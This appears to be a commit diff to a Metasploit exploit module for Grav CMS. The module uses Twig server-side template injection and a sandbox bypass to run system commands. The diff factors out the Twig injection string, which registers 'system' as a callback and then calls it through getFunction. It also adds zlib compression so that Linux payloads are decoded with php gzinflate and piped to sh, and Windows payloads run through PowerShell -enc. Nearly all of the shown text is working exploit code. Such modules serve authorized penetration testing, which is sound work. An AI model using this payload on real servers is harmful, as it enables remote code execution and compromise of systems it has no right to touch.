Implement zlib compression before base64 encoding to minimize payload size

nakkouchtarek · nakkouchtarek · commit 5fcc33d2035f · 2025-12-07T22:25:51.000+01:00
diff --git a/modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb b/modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb
@@ -338,20 +338,35 @@ def execute_payload
   def twig_payload
     cmd = payload.encoded
 
+    twig_prefix = "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}" \
+                  "{% set a = grav.config.set('system.twig.undefined_functions',false) %}" \
+                  "{{ grav.twig.twig.getFunction('"
+    twig_suffix = "') }}"
+
     case target['Type']
     when :win_cmd
-      "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}" \
-        "{% set a = grav.config.set('system.twig.undefined_functions',false) %}" \
-        "{{ grav.twig.twig.getFunction('powershell -enc #{Rex::Text.encode_base64(cmd.encode('UTF-16LE'))}') }}"
+      encoded_cmd = Rex::Text.encode_base64(cmd.encode('UTF-16LE'))
+
+      "#{twig_prefix}powershell -enc #{encoded_cmd}#{twig_suffix}"
+
     else
-      # Base64 encode payload to avoid Twig escaping special characters
-      encoded_cmd = Rex::Text.encode_base64(cmd)
-      "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}" \
-        "{% set a = grav.config.set('system.twig.undefined_functions',false) %}" \
-        "{{ grav.twig.twig.getFunction('echo #{encoded_cmd}|base64 -d|bash') }}"
+      require 'zlib'
+      compressed = compress_deflate(cmd)
+
+      # Strip newlines from base64 to avoid breaking Twig syntax
+      encoded_cmd = Rex::Text.encode_base64(compressed).gsub(/\n/, '')
+
+      "#{twig_prefix}php -r \"echo gzinflate(base64_decode(\\'#{encoded_cmd}\\'));\" | sh#{twig_suffix}"
     end
   end
 
+  def compress_deflate(data)
+    deflater = Zlib::Deflate.new(Zlib::BEST_COMPRESSION, -Zlib::MAX_WBITS)
+    compressed = deflater.deflate(data, Zlib::FINISH)
+    deflater.close
+    compressed
+  end
+
   def follow_redirect(res)
     return res unless [301, 302, 303].include?(res.code)
 
